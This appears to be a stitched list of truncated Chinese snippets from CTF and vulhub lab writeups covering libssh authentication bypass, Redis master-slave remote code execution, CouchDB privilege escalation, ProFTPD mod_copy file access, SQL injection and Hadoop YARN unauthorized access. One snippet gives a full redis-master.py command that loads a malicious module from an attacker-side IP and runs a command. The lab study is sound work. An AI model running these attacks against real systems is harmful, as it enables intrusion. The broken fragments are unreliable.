ibssh是一个用于访问SSH服务的C语言开发包，它能够执行远程命令、文件传输，同时为远程的程序提供安全的传输通道。server-side state machine是其中的一个服务器端状态机。在libssh的服务器端状态机中发现了一个逻辑漏洞。攻击者可以MSG_USERAUTH_SUCCESS在身份验证成功之前发送消息。这样可以绕过身份验证并访问目标SSH服务器。本来是靶机要接受MSG_USER

python3 redis-master.py -r 目的ip -p 目的端口 -L 47.100.167.248 -P 1111 -f RedisModulesSDK/exp.so -c "id"python3 redis-master.py -r 目的ip -p 目的端口 -L 攻击者ip -P 对应端口 -f RedisModulesSDK/exp.so -c "id"出了一个file，搜了

在2017年11月15日，CVE-2017-12635和CVE-2017-12636披露，CVE-2017-12635是由于Erlang和JavaScript对JSON解析方式的不同，导致语句执行产生差异性导致的。这个漏洞可以让任意用户创建管理员，属于垂直权限绕过漏洞。使用大佬给的exp（exp在顶上的参考链接里面）影响版本：小于1.7.0以及小于2.1.1。直接拿到了flag，大佬真的太强了。打

用于爆破jwt秘钥。

proftp是用于搭建基于ftp协议的应用软件ProFTPD是ProFTPD团队的一套开源的FTP服务器软件。该软件具有可配置性强、安全、稳定等特点。ProFTPD 1.3.5中的mod_copy模块允许远程攻击者通过站点cpfr和site cpto命令读取和写入任意文件。任何未经身份验证的客户端都可以利用这些命令将文件从文件系统的任何部分复制到选定的目标。复制命令使用ProFTPD服务的权限执行

简单来说，除了配置上的问题以外，是密码的验证出现了漏洞，导致尝试次数多了之后直接可以登入使用：kali+vulhub。

文件上传

Web Based Quiz System v1.0版本存在SQL注入漏洞，该漏洞源于welcome.php中的eid参数缺少对外部输入SQL语句的验证。得到了flag，就可以交了，这些过程证明了该漏洞可以利用于查询该数据库的敏感信息，可以利用这些方式得到数据库中用户的账户密码等等。从onder by 1一直尝试到order by 6，只有6报错，发现该表有五个字段。查询数据库中的所有表的名字，利

Hadoop YARN（Yet Another Resource Negotiator）的ResourceManager是集群资源管理的核心组件，负责分配和管理集群资源以及调度作业。如果ResourceManager出现未授权访问漏洞，可能允许未经认证的用户访问或操作集群资源，这可能会导致数据泄露、资源滥用或拒绝服务攻击。在这个复现中就是在组件的ui界面上出现了未授权访问漏洞。

win10转win7文件